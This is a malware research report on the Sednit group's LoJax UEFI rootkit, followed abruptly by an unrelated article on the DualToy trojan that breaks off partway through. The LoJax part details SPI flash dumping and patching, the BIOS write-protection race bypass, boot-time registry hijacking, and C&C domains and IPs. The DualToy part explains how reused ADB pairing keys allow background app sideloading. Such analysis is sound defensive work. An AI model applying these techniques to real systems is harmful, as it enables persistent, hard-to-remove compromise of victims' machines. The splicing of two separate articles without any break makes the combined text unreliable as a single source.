Computrace attracted attention from the security community mostly because of its unusual persistence method. Since this software’s intent is to protect a system hardware from theft, it is important that it resists OS re-installation or hard drive replacement. Thus, it is implemented as a UEFI/BIOS module, able to survive such events. This solution comes pre-installed in the firmware of a large portion of laptops manufactured by various OEMs, waiting to be activated by its users. This activation step can be done through a BIOS option.
One of the first research reports providing information on how this solution is implemented was published in 2009. The global architecture of the product, at that time, was revealed, detailing how the UEFI/BIOS module was able to drop the userland agent on disk and how this agent was then able to call home by contacting a web server controlled by Absolute Software. The overall process of the LoJack/Computrace solution back then is best described in the following steps:
1. At boot time, if activated, the UEFI/BIOS module is executed. It will try to find a FAT/FAT32/NTFS partition. Using an NTFS driver, it then creates a backup of autochk.exe and overwrites its content with a dropper responsible for installing the userland agent component. autochk.exe is a Windows executable that is run during the early stages of Windows initialization to check for possible hard drive corruption.
2. When the modified autochk.exe is run, its main purpose is to drop the small agent rpcnetp.exe and add it as a service so that it is started at each reboot. The last step of this component is to restore the original version of autochk.exe.
3. The small agent, rpcnetp.exe, is a small executable whose main purpose is to ensure that the main agent is running. If not, it will try to connect to Absolute Software’s C&C server to download and execute it. The small agent will first make a copy of itself and modify the PE header so that it becomes a dynamic-link library (DLL). This DLL is then loaded in memory and it will spawn a svchost.exe process and inject the DLL there. It will then spawn an Internet Explorer process and again inject its DLL into it. This last process will then be used to communicate over the Internet. The Computrace small agent’s behavior of injecting code into foreign processes is commonly seen in malware and rarely associated with legitimate, reputable software.
4. The full-featured agent is now running on the system and implements Computrace’s various tracking and recovery functions.
This overall process, along with a detailed description of the network protocol used between the small agent and its C&C server, was published in 2014. As no authentication mechanism exists, if adversaries could control the server with which the small agent communicates, they could make it download and execute arbitrary code. There are several different mechanisms allowing an attacker to communicate directly with the small agent. The one that is the most relevant to our discussion involves how the address of the C&C server is retrieved by the small agent. In fact, this information is stored in a configuration file hardcoded in the executable itself.
In May 2018, an Arbor Networks blog post describing several trojanized samples of the LoJack small agent, rpcnetp.exe, was published. These malicious samples communicated with a malicious C&C server instead of the legitimate Absolute Software one, because their hardcoded configuration settings had been altered. Some of the domains found in LoJax samples had been seen before: they were used in late 2017 as C&C domains for the notorious Sednit first-stage backdoor, SedUploader.
The differences between the legitimate and trojanized agent are so small that the figures above actually show most of the changes between them. All the LoJax small agent samples we could recover are trojanizing the exact same legitimate sample of the Computrace small agent rpcnetp.exe. They all have the same compilation timestamp and only a few tens of bytes are different from the original one. Besides the modifications to the configuration file, the other changes include timer values specifying the intervals between connections to the C&C server.
At the time the blog was published, we had found different LoJax small agents targeting different entities in the Balkans as well as Central and Eastern Europe, but had no idea how they were installed. Of course, the obvious explanation was that some well-known Sednit backdoor installed them. After all, since LoJack was a well-known tool, it was whitelisted by many AV vendors. Thus, even if only the small agent was used in this campaign and that it could not survive a Windows re-install, it still had the benefit of being less likely to be flagged as malicious. However, what if the compromise was deeper than that? What if they tried to mimic the LoJack solution and go all the way to the system’s firmware?
## THE HUNT FOR A LOWER-LEVEL COMPONENT
We were able to uncover LoJax campaigns targeting a few organizations in the Balkans as well as Central and Eastern Europe. In all of them, we were able to find traces of other Sednit malware detections, namely:
- SedUploader, a first-stage backdoor
- XAgent, Sednit’s flagship backdoor
- Xtunnel, a network proxy tool that can relay any kind of network traffic between a C&C server on the Internet and an endpoint computer inside a local network
Although we detected traces of Sednit tools on most of the systems we examined that were targeted by LoJax, we found a couple of systems where only LoJax was present. Thus, we can infer that in some cases, LoJax was used as a stand-alone tool, presumably as an additional backdoor used to regain admittance to the network should Sednit operators lose access.
As XAgent is routinely used to drop additional modules on a compromised system, it is tempting to jump to the conclusion that LoJax samples are dropped in the same way and that there are no other mechanisms in place. This would mean that the only part that was inspired by the LoJack solution would be the small agent. However, shortly after we started our analysis, we found some clues that led us to believe the inspiration went a bit further.
### RWEverything driver (RwDrv) and info_efi.exe
The first piece of evidence comes from a custom tool created by the malicious actors that, when executed, dumps information about low-level system settings to a text file. This tool was found alongside some LoJax samples.
In order to read this type of information, this tool embeds a driver called RwDrv.sys. This kernel driver is bundled with RWEverything, a free utility available on the web that can be used to read information on almost all the computer low-level settings, including PCI Express, Memory, PCI Option ROMs, etc. As this kernel driver belongs to legitimate software, it is signed with a valid code-signing certificate.
The info_efi tool discovery was the first sign that a LoJax UEFI module might exist. When trying to update a system’s firmware, it is crucial to have information about the firmware vendor, its version, etc. As there are known vulnerabilities allowing userland processes to access and modify the content of the SPI flash memory where the UEFI modules are stored, getting data about the system’s hardware is the first step towards a successful attack.
The final lead that allowed us to find Sednit’s first UEFI rootkit was two different tools — one used to dump the SPI flash memory and one to write to it.
### Dumping the SPI flash memory
The first piece of the puzzle was a file called ReWriter_read.exe. This file contained all the code required to dump a system SPI flash memory using the RWEverything driver, RwDrv.sys. In order for the device driver to perform the required operations, the dumper tool must send the correct I/O control (IOCTL) codes. While RwDrv.sys supports many different IOCTL codes, both the dumper and writer tool described in this section and the next use only four of them.
| IOCTL code | Description |
|------------|-------------|
| 0x22280c | Writes to memory mapped I/O space |
| 0x222808 | Reads from memory mapped I/O space |
| 0x222840 | Reads a dword from given PCI Configuration Register |
| 0x222834 | Writes a byte to given PCI Configuration Register |
ReWriter_read first creates a service with the embedded kernel driver RwDrv.sys and logs some information on the UEFI/BIOS configuration, namely the value of three fields contained in the BIOS Control Register (BIOS_CNTL): BIOS Lock Enable (BLE), BIOS Write Enable (BIOSWE), and SMM BIOS Write Protect Disable (SMM_BWP). While ReWriter_read does not use these values at all, the following sections will highlight why these three fields are of interest to this tool.
The tool’s next task is to retrieve the BIOS region base address on the SPI flash memory as well as its size. This information is contained in the SPI Host Interface register “BIOS Flash Primary Region.” All SPI Host Interface registers are memory-mapped in the Root Complex Register Block (RCRB) whose base address can be retrieved by reading the correct PCI Configuration Register. ReWriter_read obtains this address by using RwDrv IOCTL 0x22840 and reading the correct offset (0xF0 in our case). Once the BIOS region base address and size are known, the dump tool reads the relevant content of the SPI flash memory and writes it to a file on disk.
### Patching the UEFI firmware
The second piece of the puzzle is a file called ReWriter_binary.exe. This file contains the evidence we were missing to prove that Sednit’s operators went as far as targeting the firmware. This file contains the code to patch the dumped UEFI image and write the trojanized version back to the SPI flash memory.
Once the flash memory content has been dumped and successfully validated by the aforementioned dumper tool, the malicious UEFI module is added to the image. To do so, the UEFI image must first be parsed to extract the information required for this task.
The data stored in the UEFI image are laid out in volumes using Firmware File System (FFS). As its name suggests, it is a file system specifically tailored for storing firmware images. Volumes contain files identified by GUIDs. Each file is usually composed of multiple sections, one of which contains the actual PE/COFF executable that is the UEFI image.
ReWriter_binary parses all of the firmware volumes found in the BIOS region of the SPI flash memory searching for specific files:
- Ip4Dxe (8f92960f-2880-4659-b857-915a8901bdc8)
- NtfsDxe (768bedfd-7b4b-4c9f-b2ff-6377e3387243)
- SmiFlash (bc327dbd-b982-4f55-9f79-056ad7e987c5)
- DXE Core
Ip4Dxe and NtfsDxe are DXE drivers. In UEFI firmware, DXE drivers are PE/COFF images that are either meant to abstract the hardware or to produce services that can be used by other DXE drivers or by UEFI applications. Such drivers are discovered and loaded by the DXE Foundation through the DXE Dispatcher (DXE Core) early in the boot process. After completion of this phase, all services expected to be available by UEFI applications, such as an OS loader, are in place. Usually, all the DXE drivers are stored in the same volume. However, the DXE dispatcher may be on a separate one.
ReWriter_binary looks for Ip4Dxe only as an indication that the volume being parsed is the volume that contains the DXE drivers. As we will describe later, this volume will be a candidate for the installation of the malicious DXE driver. It also looks for DXE Core and adds the volume where it’s located as another candidate volume for where to write the rootkit. The free space available on each of these volumes is stored and is used later to verify whether there is enough space available to add the malicious driver.
NtfsDxe is the AMI NTFS DXE driver. If present in a firmware volume, its location is stored and is later used to remove the file from the volume. We will see why the tool removes this driver in the section dedicated to the analysis of the UEFI rootkit.
After the extraction of required metadata, ReWriter_binary proceeds to patching the dumped UEFI image, adding its malicious DXE driver. First, it creates a file header structure (EFI_FFS_FILE_HEADER). Then, it selects the destination volume based on the location of Ip4Dxe and DXE Core as well as the free space available on these volumes. ReWriter_binary embeds a compressed section containing the PE image and a User interface section specifying the human-readable name of the file: SecDxe. The compressed section is appended to the file header and written at the end of the volume, where the volume free space is located.
Finally, if the NtfsDxe driver is present in the image, it is removed. Since the firmware file system stores files and their content sequentially, it is a fairly simple process:
- It finds the offset to the free space at the end of the volume
- The NtfsDxe image is overwritten by 0xFF bytes
- The trailing part of the firmware volume is copied starting at the offset where NtfsDxe was located
- The remainder of the file system is padded with 0xFF bytes, which means free space
### Writing the patched firmware back to the SPI flash memory
Once the dumped firmware image is successfully modified, the next step is to write it back to the SPI flash memory. Before we dive into this process, we need to introduce some of the BIOS write protections that are relevant to this case. Other existing mechanisms, like BIOS Range Write Protection, are left aside since they are not checked by ReWriter_binary.
The platform exposes multiple protection mechanisms to block unauthorized attempts to write to the BIOS region. These mechanisms are nonetheless not enabled by default. The firmware is responsible for configuring them properly. Such configurations are exposed via the BIOS control register (BIOS_CNTL). This register contains the BIOS Write Enable (BIOSWE) bit, which needs to be set to 1 to be able to write to the BIOS region of the SPI flash memory. Since the platform shouldn’t allow all attempts to write to the BIOS region, another bit is available in the BIOS_CNTL to protect BIOSWE: the BIOS Lock Enable (BLE). When enabled, this mechanism is meant to lock the BIOSWE bit to 0. However, the implementation is vulnerable. Indeed, when there is a request to set the BIOSWE bit to 1, the BIOSWE bit is actually set to 1. Only then does the platform issue a System Management Interrupt (SMI) and the handler for this SMI is responsible for setting the BIOSWE bit back to 0.
Multiple issues arise from this implementation. First, the implementation of the SMI handler is left to the firmware developers. Thus, if the firmware doesn’t implement this handler, the BLE bit is useless since there won’t be any routine setting the BIOSWE bit back to 0. Second, there’s a race condition vulnerability that allows complete bypass of this mechanism, even if the SMI handler is properly implemented. To exploit this vulnerability, an attacker needs to start a thread that continuously sets BIOSWE to 1 while another thread writes data to the SPI flash memory. According to Kallenberg and Wojtczuk’s paper, this attack works on multi-core processors and can also succeed on a single-core processor if it has hyper-threading enabled.
To remediate this issue, a new protection mechanism configured via the BIOS_CNTL was added to the platform. It was introduced in the Platform Controller Hub (PCH) family of Intel chipsets. If its configuration bit is set, SMM BIOS Write Protect Disable (SMM_BWP) will ensure that the BIOS region is writable only if all the cores are running in System Management Mode (SMM) and BIOSWE is set to 1. This effectively protects a system against the race condition vulnerability explained above. However, as is the case for BLE, SMM_BWP needs to be activated by the firmware. Hence, a firmware that doesn’t configure these mechanisms properly leaves the system at risk of unauthorized writes to the BIOS region.
ReWriter_binary reads the content of the BIOS control register to choose the proper path to take. It first checks if BIOSWE is set. If it is, it goes to the writing phase. If BIOSWE is disabled, it checks the value of the BLE bit. If it is not set, it flips the BIOSWE bit and starts to write the patched firmware. If BLE is set, it makes sure that SMM_BWP is disabled and exploits the race condition mentioned above. If the SMM_BWP bit is set, it fails.
Assuming that the exact build of ReWriter_binary we analyzed was the one that was used to deploy the UEFI rootkit, we can conclude that either the firmware did not properly configure the BIOS write protection mechanisms or the victim’s machine had a chipset older than the Platform Controller Hub. ReWriter_binary wouldn’t have succeeded at flashing the UEFI firmware on a properly configured modern system. However, looking for the vulnerable SmiFlash UEFI image when parsing the UEFI firmware volumes suggests that the operators might have been fiddling with more advanced techniques to bypass BIOS write protections.
Very similar to the read operation described above, the following sequence of events occurs to write to the SPI flash memory:
1. Write the number of bytes to be written into the HSFC.
2. Set the HSFC to the write command.
3. Write the address to write to in the HSFC.
4. Write the data chunk to write in the HSFC.
5. Write 1 to Flash Cycle Go.
6. Wait for SPI write cycle completion.
When the writing process is done, the content of the SPI flash memory is once again dumped into the file image.bin. The same integrity check that was done by ReWriter_read is performed on the new dumped image. Then, the image read from the SPI flash memory is compared to the patched image in-memory. If some bytes differ, the address where it happened is logged. Whether they differ or not has no effect on the execution of the malware. It is just logged for the operators to know what happened.
As final steps, this registry key is set:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute = “autocheck autochk *”`
Then, RwDrv service is stopped and uninstalled. It is important that the Windows Registry value is set to that string because the UEFI Rootkit looks for that exact string to modify it and thus execute its payload during Windows startup.
## LOJAX TECHNICAL ANALYSIS
While the tool to dump, patch, and write to the SPI flash memory is customized for a particular firmware image and cannot be reused easily on any given system, the full UEFI module can be extracted from it. The first step we did after recovering this module was to go through our telemetry to see whether we had seen this module before. However, as this is a UEFI module, we had to rely on the new ESET UEFI scanner that is able to access and scan a system’s firmware. Using telemetry coming from this module, we were able to find at least one case where the Sednit’s UEFI module was installed on a system, meaning that this UEFI rootkit was truly deployed in the wild.
We do not know for sure how the different tools ended up on the compromised systems. The most likely guess at this point is that it was dropped by another tool, likely XAgent, as part of the post-compromise steps done by the operators. Since the dumper and the writer tools were found on the same system but at different times, it is likely the operators worked in two steps. First, they dumped the firmware on the target machine, made sure that their patching tool would work fine before uploading it again and patching the firmware for real. While we were able to find only one version of the dumper and writer tools, there is a possibility that different versions exist for different vulnerable firmware they were able to locate.
The UEFI rootkit workflow until the OS boots is as follows:
1. SecDxe DXE driver is loaded by the DXE dispatcher.
2. It sets a Notify function callback on the EFI_EVENT_GROUP_READY_TO_BOOT event group.
3. When the firmware is about to choose a boot device and to run the OS loader, the Notify function is called.
4. It loads an embedded NTFS DXE driver to be able to access and write to NTFS partitions.
5. It writes two files to the Windows NTFS partition: rpcnetp.exe and autoche.exe.
6. It modifies the registry key ‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute’ from ‘autocheck autochk *’ to ‘autocheck autoche *’.
### SecDxe: The malicious DXE driver
Sednit’s UEFI rootkit is an unsigned DXE driver, identified by the GUID 682894B5-6B70-4EBA-9E90-A607E5676297. Once deployed in one of the firmware volumes, the DXE Foundation loads it every time the system boots.
SecDxe is a small DXE driver that mainly does two things:
- It installs a protocol identified by the GUID 832d9b4d-d8d5-425f-bd52-5c5afb2c85dc that is never used.
- It creates an event associated with a Notify function. The Notify function is set to be called when the EFI_EVENT_GROUP_READY_TO_BOOT event group is signaled.
The Notify function implements the malicious behavior of Sednit’s UEFI rootkit. It writes the payloads to Windows’ NTFS file system. Since UEFI firmware normally deals solely with the EFI system partition, an NTFS driver usually is not included. Only FAT-based file systems are supported as boot partitions. Thus, it is not mandatory for a UEFI firmware to ship with NTFS drivers. For that reason, SecDxe embeds its own NTFS driver. This driver is first loaded and connected to the disk device. Hence, it installs an EFI_SIMPLE_FILE_SYSTEM_PROTOCOL on disk devices with NTFS partitions, enabling file-based access to it.
Now that everything is in place to write files on the Windows partition, SecDxe drops rpcnetp.exe and autoche.exe. Next, rpcnetp.exe is installed to %WINDIR%\SysWOW64 on 64-bit Windows versions or to %WINDIR%\System32 on 32-bit versions. As for autoche.exe, it is installed to %WINDIR%\SysWOW64.
SecDxe then opens %WINDIR%\System32\config\SYSTEM, which is the file backing the HKLM\SYSTEM registry hive. It parses the file until it finds ‘autocheck autochk *’ and replaces the ‘k’ of ‘autochk’ with ‘e’. This sets ‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute’ to ‘autocheck autoche *’. Next time Windows boots, autoche.exe will be launched instead of autochk.exe.
### Hacking Team’s NTFS driver
As previously discussed, SecDxe module embeds an NTFS driver. There is strong evidence that Sednit’s operators did not write their own driver, but rather compiled their own copy of Hacking Team’s leaked NTFS DXE driver.
Hacking Team’s NTFS driver uses the ntfs-3g open source project at its core. It is merely a wrapper around it to make it work as a UEFI DXE Driver. As such, the INF file build information of Hacking Team’s driver lists filenames from the ntfs-3g project. SecDxe’s NTFS driver strings also list many of these filenames.
Another interesting thing to note is that the project path is the same as those found in vector-edk, Hacking Team’s EFI development leaked project. In vector-edk, there is a subproject NtfsPkg with the exact same directory layout. The ntfs-3g source code files are located in the same path. While these paths are generic, we believe this is not a coincidence.
Comparing the leaked source code with Hex-Rays decompiler output, it becomes evident that it is the same project. The comparison above shows code from Hacking Team developers and is not present in the ntfs-3g open source code.
At this point in this paper, we have described the various operations performed by the UEFI rootkit to compromise the host operating system. We also discussed the reasons why we believe that Sednit operators used the source code of Hacking Team’s vector-edk to build their NTFS driver to write files on the Windows NTFS partition. In the following sections, we will provide our analysis of the payloads dropped by SecDxe.
### autoche.exe vs. autochk.exe
The malicious autoche.exe is used to set up persistence for the small agent rpcnetp.exe. It uses native Windows API calls to create this service. It should be noted that the service name is the same as the one used by the legitimate Computrace agent. Once the service is created, it then restores the BootExecute registry key to its previous value.
Since this process takes place while Windows is booting, the user can hardly notice the BootExecute registry key value modification. It should be noted that autoche.exe shows some similarities with Computrace’s autochk.exe module, such as the API calls used and the service registration, but the rest is quite different. Computrace’s module is bigger and restores the original autochk.exe executable instead of changing the registry key. It is also responsible for dropping the small agent on disk, while this is handled by the UEFI rootkit in the LoJax case.
### rpcnetp.exe
While the small agent rpcnetp.exe can be dropped by the UEFI rootkit, it is probable that most instances we saw of a trojanized LoJack small agent did not use this component. It is likely that they were opportunistic and installed the UEFI rootkit only when possible and in organizations of high importance.
Throughout our investigation, we were able to uncover different LoJax small agent versions. The IOC section lists their hashes and the associated malicious domains/IPs. As discussed previously, all LoJax small agent samples we were able to recover were a trojanized version of the same old Computrace small agent compiled in 2008.
While we never witnessed LoJax agent download and install additional modules, we do know that this functionality exists. As LoJax’s best quality is to be stealthy and persistent, it could definitely be used to help ensure that access to key resources is maintained.
## PREVENTION AND REMEDIATION
How could such an attack have been prevented? This involves a complex ecosystem composed of multiple actors. While Secure Boot is the first mechanism that comes to mind when we think about preventing UEFI firmware attacks, it wouldn’t have protected against the attack we described in this paper. Despite this, we strongly suggest you enable Secure Boot on your systems, through the UEFI setup utility.
Secure Boot uses the content of the SPI flash memory as its root of trust. It is designed to protect against malicious components coming from outside of the SPI flash memory such as the operating system loader and option ROMs. To protect against tampering with the SPI flash memory, the system’s root of trust must be moved to hardware. Such technologies exist, and Intel Boot Guard is a good example of this. It has been available starting with the Haswell family of Intel processors introduced in 2013. Had this technology been available and properly configured on the victim’s system, the machine would have refused to boot after the compromise.
As is the case for software, the UEFI firmware should always be kept up-to-date. Visit your motherboard website to make sure that you have the latest version available.
You should also make sure that all of your systems have modern chipsets with Platform Controller Hub (starting from Intel Series 5 chipsets onwards). This will ensure that the security mechanism against the race condition vulnerability we mentioned is available on the platform.
The other part of firmware security is in the hands of UEFI/BIOS vendors. The security mechanisms provided by the platform need to be properly configured by the system firmware to actually protect it. Thus, firmware must be built with security in mind from the ground up. Fortunately, more and more security researchers are looking at firmware security thus contributing to improve this field and raise awareness of firmware vendors. It is also worth mentioning CHIPSEC, an open-source framework to perform low-level security assessments, which is very helpful to determine if your platform is properly configured.
Remediation of a UEFI firmware-based compromise is a hard problem. There are no easy ways of cleaning the system from such threat nor are there any security products that can save the day. In the case we described in this paper, the SPI flash memory needs to be reflashed to remove the rootkit. This is not a trivial task and definitely is not a recommended procedure for the average computer owner. Upgrading the UEFI firmware may remove the rootkit given that the update rewrites the whole BIOS region of the SPI flash memory. If reflashing the UEFI firmware is not an option for you, the only alternative is to change the motherboard of the infected system.
## CONCLUSION
UEFI rootkits are one of the most powerful tools in an attacker’s arsenal as they are persistent across OS re-install and hard disk changes and are extremely difficult to detect and remove. While it is hard to modify a system’s UEFI image, few solutions exist to scan system’s UEFI modules and detect malicious ones. Moreover, cleaning a system’s UEFI firmware means re-flashing it, an operation not commonly done and certainly not by the average user. These advantages explain why determined and resourceful attackers will continue to target systems’ UEFI.
## ACKNOWLEDGEMENT
We’d like to express our gratitude to the people behind opensecuritytraining.info for the great material that they share with the community. The course ‘Introduction to BIOS & SMM’ was of great help to us when it came the time to analyze interactions with the SPI flash chip.
## GLOSSARY
Please refer to Intel specifications for more details on each field and more.
- BIOS_CNTL: BIOS Control Register
- BIOSWE: BIOS Write Enabled
- BLE: BIOS Lock Enabled
- FADDR: Flash Address
- FDATAX: Flash Data from FDATA0 to FDATAN
- FDBC: Flash Data Byte Count
- FGO: Flash Cycle Go
- HSFC: Hardware Sequencing Flash Control
- HSFS: Hardware Sequencing Flash Status
- IOCTL: Input/Output Control
- PCH: Platform Controller Hub
- RCBA: Root Complex Base Address Register
- RCRB: Root Complex Register Block
- SCIP: SPI Cycle in Progress
- SMI: System Management Interrupt
- SMM: System Management Mode
- SMM_BWP: SMM BIOS Write Protect Disable
- SPI: Serial Peripheral Interface
## REFERENCES
1. D. Alperovitch, “Bears in the Midst: Intrusion into the Democratic National Committee,” Crowdstrike, 15 June 2016.
2. US Department of Justice, July 2018.
3. G. Corera, “How France’s TV5 was almost destroyed by ‘Russian hackers’,” BBC, 10 October 2016.
4. L. Matsakis, “Hack Brief: Russian Hackers Release Apparent IOC Emails in Wake of Olympics Ban,” WIRED, 1 January 2018.
5. ESET Research, “En Route with Sednit,” ESET, 2016.
6. ESET Research, “Sednit adds two zero-day exploits using ‘Trump’s attack on Syria’ as a decoy,” ESET, 9 May 2017.
7. ESET Research, “Sednit update: Analysis of Zebrocy,” ESET, 24 April 2018.
8. P. Lin, “Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems,” Trend Micro, 13 July 2015.
9. WikiLeaks, “DerStarke 2.0.”
10. Absolute, “Absolute Response to Arbor Research,” May 2018.
11. A. Ortega and A. Sacco, “Deactivate the Rootkit: Attacks on BIOS anti-theft,” Core Security Technologies, 24 July 2009.
12. V. Kamlyuk, S. Belov and A. Sacco, “Absolute Backdoor Revisited,” BlackHat, June 2014.
13. ASERT team, “Lojack Becomes a Double-Agent,” 1 May 2018.
14. “RWEverything Read & Write Everything.”
15. A. Matrosov and E. Rodionov, “UEFI Firmware Rootkits: Myths and Reality,” Black Hat Asia, 2017.
16. “GitHub repository for UEFITool.”
17. Cylance, “Researchers Disclose Vulnerabilities in GIGABYTE BRIX Systems.”
18. Carnegie Mellon University SEI CERT, “Vulnerability Note VU#766164, Intel BIOS locking mechanism contains race condition that enables write protection bypass.”
19. C. Kallenberg and R. Wojtczuk, “Speed Racer: Exploiting an Intel Flash Protection Race Condition,” January 2015.
20. J. Butterworth, “Advanced x86: Introduction to BIOS & SMM,” 2014.
21. Intel, “Intel 7 Series / C216 Chipset and Family Platform Controller Hub (PCH),” June 2012.
## IOCs
- **ReWriter_read.exe**
- ESET detection name: Win32/SPIFlash.A
- SHA-1: ea728abe26bac161e110970051e1561fd51db93b
- **ReWriter_binary.exe**
- ESET detection name: Win32/SPIFlash.A
- SHA-1: cc217342373967d1916cb20eca5ccb29caaf7c1b
- **SecDxe**
- ESET detection name: EFI/LoJax.A
- SHA-1: f2be778971ad9df2082a266bd04ab657bd287413
- **info_efi.exe**
- ESET detection name: Win32/Agent.ZXZ
- SHA-1: 4b9e71615b37aea1eaeb5b1cfa0eee048118ff72
- **autoche.exe**
- ESET detection name: Win32/LoJax.A
- SHA-1: 700d7e763f59e706b4f05c69911319690f85432e
- **Small agent EXE**
- ESET detection names: Win32/Agent.ZQE, Win32/Agent.ZTU
- SHA-1: 1771e435ba25f9cdfa77168899490d87681f2029, ddaa06a4021baf980a08caea899f2904609410b9, 10d571d66d3ab7b9ddf6a850cb9b8e38b07623c0, 2529f6eda28d54490119d2123d22da56783c704f, e923ac79046ffa06f67d3f4c567e84a82dd7ff1b, 8e138eecea8e9937a83bffe100d842d6381b6bb1, ef860dca7d7c928b68c4218007fb9069c6e654e9, e8f07caafb23eff83020406c21645d8ed0005ca6, 09d2e2c26247a4a908952fee36b56b360561984f, f90ccf57e75923812c2c1da9f56166b36d1482be
- **C&C server domain names**
- secao.org
- ikmtrust.com
- sysanalyticweb.com
- lxwo.org
- jflynci.com
- remotepx.net
- rdsnets.com
- rpcnetconnect.com
- webstp.com
- elaxo.org
- **C&C server IPs**
- 185.77.129.106
- 185.144.82.239
- 93.113.131.103
- 185.86.149.54
- 185.86.151.104
- 103.41.177.43
- 185.86.148.184
- 185.94.191.65
- 86.106.131.54
### Small agent DLL
In this section, we list only the DLL for which we never obtained the corresponding EXE.
- **ESET detection names**: Win32/Agent.ZQE
- **SHA-1**: 397d97e278110a48bd2cb11bb5632b99a9100dbd
- **C&C server domain names**: elaxo.org
- **C&C server IPs**: 86.106.131.54 |
# DualToy: New Windows Trojan Sideloads Risky Apps to Android and iOS Devices
**By Claud Xiao**
**September 13, 2016**
**Category:** Malware, Unit 42
**Tags:** AceDeceiver, adb drivers, Android, apps, DualToy, iappstore, iOS, iTunes, mobile, Trojan
Over the past two years, we’ve observed many cases of Microsoft Windows and Apple iOS malware designed to attack mobile devices. This attack vector is increasingly popular with malicious actors as almost everyone on the planet carries at least one mobile device they interact with throughout any given day. Thanks to a relative lack of security controls applied to mobile devices, these devices have become very attractive targets for a broad range of malicious actors. For example:
- WireLurker installed malicious apps on non-jailbroken iPhones.
- Six different Trojan, Adware and HackTool families launched “BackStab” attacks to steal backup archives of iOS and BlackBerry devices.
- The HackingTeam’s RCS delivered its Spyware from infected PCs and Macs to jailbroken iOS devices and BlackBerry phones.
Recently, we discovered another Windows Trojan we named “DualToy” which sideloads malicious or risky apps to both Android and iOS devices via a USB connection. When DualToy began to spread in January 2015, it was only capable of infecting Android devices. However, within six months the malicious actors added the capability to infect iOS devices. DualToy is still active and we have detected over 8,000 unique samples belonging to this Trojan family to date. It mainly targets Chinese users, but has also successfully affected people and organizations in the United States, United Kingdom, Thailand, Spain, and Ireland.
In addition to being found in traditional Windows PC malware such as process injection, modifying browser settings, displaying advertisements, etc., DualToy also performs the following activities on Android and iOS devices:
- Downloads and installs Android Debug Bridge (ADB) and iTunes drivers for Windows.
- Uses existing pairing/authorization records on infected PCs to interact with Android and/or iOS devices via USB cable.
- Downloads Android apps and installs them on any connected Android devices in the background, where the apps are mostly Riskware or Adware.
- Copies native code to a connected Android device and directly executes it, and activates another custom to obtain root privilege and to download and install more Android apps in the background.
- Steals connected iOS device’s information including IMEI, IMSI, ICCID, serial number, and phone number.
- Downloads an iOS app and installs it to connected iOS devices in the background; the app will ask for an Apple ID with password and send them to a server without user’s knowledge (just like AceDeceiver).
Several years ago, Android and iOS began requiring user interaction to authorize a device to pair to another device to prevent the kind of sideloading attack used by DualToy. However, DualToy assumes any physically connected mobile devices will belong to the same owner as the infected PC to which they are connected, which means the pairing is likely already authorized. DualToy tries to reuse existing pairing records to directly interact with mobile devices in the background. Although this attack vector’s capability can be further limited by additional mechanisms (e.g., ADB enabling, iOS sandbox), which make this threat not so severe, DualToy reminds us again how attackers can use USB sideloading against mobile devices and how malware can be spread between platforms.
## Infecting Android Devices
Almost all samples of DualToy are capable of infecting Android devices connected with the compromised Windows PC via USB cable. This functionality is usually implemented in a module named NewPhone.dll, DevApi.dll, or app.dll. DualToy assumes ADB is enabled on the connected Android device. If ADB isn't enabled (which is the default option), the user may not be able to install apps from a PC or Mac. This is because ADB is both the only official interface for a Windows or Mac computer to operate an Android device via USB and it is a debugging interface.
### Install ADB drivers
Once loaded, the module will first download universal Windows ADB drivers from its C2 server and install them. Some variants will directly drop a file named adb.exe which is the standard ADB Windows client. Other variants have compiled the ADB client’s source code into the module so that they could also perform ADB operations. Instead of adb.exe, the newest variant will drop tadb.exe, a customized ADB client from Tencent’s Android management software.
Note that since version 4.2 (released in early 2013), Android requires a user’s manual confirmation to authorize a PC before building an ADB session. This was designed to prevent attacks such as sideloading apps via USB. However, if a user has authorized his PC in the past, the related key files will be stored in the %HOME%/.android directory on the PC. DualToy reuses these key files to bypass the intended security check.
### Download and install apps
After the ADB environment is set up, DualToy will wait for an Android device to connect via USB. Once connected, it will fetch a list of URLs from the C2 server, download the apps, and install them on the Android device in the background via the “adb.exe install” command.
In a recent variant, DualToy will download a PE executable named “appdata.exe” as well as an ELF executable file named “guardmb” from the C2 server. The appdata.exe file was compiled from ADB’s source code with some customizations -- DualToy will execute it with the command line “appdata.exe shell am start”. When invoked by this command line, the appdata.exe copies the guardmb file to the connected Android device’s /data/local/tmp directory and executes it.
The guardmb file is an ELF executable for ARM architecture. Its functionality is simple – execute Android’s system command “am” to start the service “com.home.micorsoft.service.BootWakeService”. Guardmb also specified the same service was implemented in a third-party app with the package name of “com.home.micorsoft”. During the analysis, we weren't able to find the “com.home.micorsoft” app. However, we discovered another Android app with a similar package name “com.mgr.micorsoft”. Due to the same typo (“micorsoft”) and same binary code fingerprints, we believe these two apps have the same sources and likely have identical functionalities.
The app embedded a modified SU daemon program which was re-compiled from SuperSU project’s source code. We named this specific Android Trojan “RootAngel”. After the service is started by guardmb, it installs the SU daemon. It will also connect with its C2 server, download more Android apps, and install them in the background through the “pm install” command.
## Infecting iOS Devices
We observed the first sample of DualToy capable of infecting iOS devices on June 7, 2015. Later in 2016, a new variant appeared. Our analysis below focuses primarily on the first variant.
During execution, the sample will drop some PE and .ini files. Among them, insapp.dll is the module used to infect an iOS device. It was developed using Delphi and C++ and then packed with a standard UPX packer. There’s another file, insapp.ini, which contains configurations including URLs to download iTunes drivers as well as iOS apps to install.
### Download and install iTunes
After being loaded, the insapp.dll will check whether iTunes is installed on the infected computer. If not, it will download two MSI format installers from its C2 server. For example, for a 64-bit Windows PC, “AppleMobileDeviceSupport64.msi” and “AppleApplicationSupport64.msi” will be downloaded. These two installers are part of Apple’s official iTunes for Windows software that contains all necessary driver files that iTunes uses to interact with iOS devices.
After that, DualToy will execute “msiexec.exe” to install the installers in the background via the “/qn” parameter.
### Operate iOS devices
In order to operate iOS devices through installed iTunes drivers, DualToy reused an open-source project “iphonetunnel-usbmuxconnectbyport”. Using this, DualToy invokes APIs in iTunes’ iTunesMobileDevice.dll file via reflection, so that it can interact with iOS devices just like iTunes does.
